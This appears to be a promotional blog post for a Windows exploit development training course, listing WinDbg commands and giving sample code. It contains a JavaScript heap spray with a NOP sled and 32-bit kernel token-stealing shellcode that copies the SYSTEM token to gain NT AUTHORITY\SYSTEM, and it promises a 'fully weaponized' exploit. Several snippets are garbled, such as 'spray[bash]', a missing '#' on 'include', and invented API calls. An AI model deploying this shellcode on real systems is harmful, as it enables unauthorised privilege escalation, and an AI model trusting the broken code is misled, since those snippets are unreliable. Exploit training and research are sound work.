The Windows Exploit Development 2 training by Blackstorm Security is confirmed for June 7, 2025, offering 40 hours of in-depth technical instruction. This course builds on Windows Exploit Development 1, focusing on WinDbg, kernel exploitation, and advanced vulnerability techniques.
Key Topics Covered:
- WinDbg Deep Dive (Essential commands for exploit analysis)
- Windows 7 Memory Management (Understanding kernel structures)
- Heap Spraying Techniques (Practical exploitation methods)
- Use-After-Free Vulnerabilities (Exploit development & mitigation bypass)
- Windows Kernel Driver Exploitation (Shellcode, privilege escalation)
You Should Know:
Essential WinDbg Commands for Exploit Analysis
Basic process inspection !process 0 0 List all processes .process /i <addr> Attach to a process !peb Examine Process Environment Block Memory analysis !vprot < address> Check memory protections !heap -h Display heap information Kernel debugging !drvobj <driver_name> Inspect driver objects !poolused Analyze kernel pool usage Exploit-specific !exploitable Crash analysis (if MSExtensions loaded)
Heap Spraying in Practice
A basic JavaScript heap spray for browser exploitation:
var spray = new Array();
for (var i = 0; i < 1000; i++) {
spray[bash] = "\x90".repeat(1024) + shellcode;
}
Use-After-Free (UAF) Exploit Example
include <Windows.h>
void trigger_uaf() {
HANDLE obj = CreateObject();
FreeObject(obj);
UseObject(obj); // UAF triggered
}
Kernel Shellcode Execution
A basic kernel payload to escalate privileges:
[BITS 32] xor eax, eax mov eax, [fs:eax+0x124] ; Get _KTHREAD mov eax, [eax+0x50] ; _EPROCESS mov ecx, eax ; Backup current process loop_find_system: mov eax, [eax+0xb8] ; ActiveProcessLinks sub eax, 0xb8 cmp [eax+0xb4], 4 ; Check PID (System=4) jne loop_find_system mov edx, [eax+0xf8] ; SYSTEM token mov [ecx+0xf8], edx ; Overwrite current process token ret

What Undercode Say:
Mastering Windows kernel exploitation requires deep knowledge of memory corruption, WinDbg debugging, and shellcode crafting. This course provides hands-on techniques for bypassing modern mitigations (SMEP, CFG, KASLR). Practicing heap spraying and UAF exploits in controlled environments (VM with no mitigations) is crucial before real-world testing.
Expected Output:
A fully weaponized kernel exploit achieving NT AUTHORITY\SYSTEM privileges via a signed driver vulnerability.
Prediction:
With Windows 11 hardening defenses, kernel exploits will shift towards logical bugs (e.g., race conditions) rather than pure memory corruption. Researchers must adapt to hypervisor-protected code integrity (HVCI) and kernel CET.
